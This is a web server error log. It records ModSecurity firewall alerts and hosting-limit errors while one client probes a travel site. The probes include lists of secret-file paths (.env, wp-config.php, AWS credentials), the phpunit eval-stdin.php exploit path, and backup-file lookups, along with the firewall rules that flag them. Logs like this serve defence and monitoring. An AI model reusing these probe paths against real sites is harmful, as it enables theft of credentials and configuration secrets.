[Fri Jul 17 08:55:19.365657 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:server[REQUEST_METHOD]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/www/html/.env.save/var/..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.366796 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.408808 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.409274 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.409716 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=20,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.413272 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.413560 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.413837 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.749811 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wsgi.py.backup"] [unique_id "almgn_wooI4qY7Jg93pVXgAAABM"]
[Fri Jul 17 08:55:19.750370 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wsgi.py.backup"] [unique_id "almgn_wooI4qY7Jg93pVXgAAABM"]
[Fri Jul 17 08:55:19.750486 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.750628 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVXgAAABM"]
[Fri Jul 17 08:55:19.751529 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.751562 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local_settings.py.backup"] [unique_id "almgn4bYoYGvYnmnM82CKwAAAAs"]
[Fri Jul 17 08:55:19.751996 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local_settings.py.backup"] [unique_id "almgn4bYoYGvYnmnM82CKwAAAAs"]
[Fri Jul 17 08:55:19.752106 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.752224 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4bYoYGvYnmnM82CKwAAAAs"]
[Fri Jul 17 08:55:19.753087 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.754222 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wsgi.py.old"] [unique_id "almgn1CBpfuYyhJ140vSrQAAAB4"]
[Fri Jul 17 08:55:19.754766 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wsgi.py.old"] [unique_id "almgn1CBpfuYyhJ140vSrQAAAB4"]
[Fri Jul 17 08:55:19.754861 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.754985 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn1CBpfuYyhJ140vSrQAAAB4"]
[Fri Jul 17 08:55:19.755962 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.761149 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.761472 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.772385 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".py~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wsgi.py~"] [unique_id "almgn-1pLmPpy2r_2CxfUAAAAA8"]
[Fri Jul 17 08:55:19.772886 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wsgi.py~"] [unique_id "almgn-1pLmPpy2r_2CxfUAAAAA8"]
[Fri Jul 17 08:55:19.772997 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.773128 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn-1pLmPpy2r_2CxfUAAAAA8"]
[Fri Jul 17 08:55:19.773917 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.773923 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.774553 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.789541 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wsgi.py.bak"] [unique_id "almgnw7FYe46zHK_jL3P3gAAABk"]
[Fri Jul 17 08:55:19.790039 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wsgi.py.bak"] [unique_id "almgnw7FYe46zHK_jL3P3gAAABk"]
[Fri Jul 17 08:55:19.790209 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.790363 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw7FYe46zHK_jL3P3gAAABk"]
[Fri Jul 17 08:55:19.792694 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.800387 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.802147 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local_settings.py.swp"] [unique_id "almgn4Zvbo7N5o5zeYC-bgAAABw"]
[Fri Jul 17 08:55:19.802632 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local_settings.py.swp"] [unique_id "almgn4Zvbo7N5o5zeYC-bgAAABw"]
[Fri Jul 17 08:55:19.802747 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.802873 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4Zvbo7N5o5zeYC-bgAAABw"]
[Fri Jul 17 08:55:19.803271 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
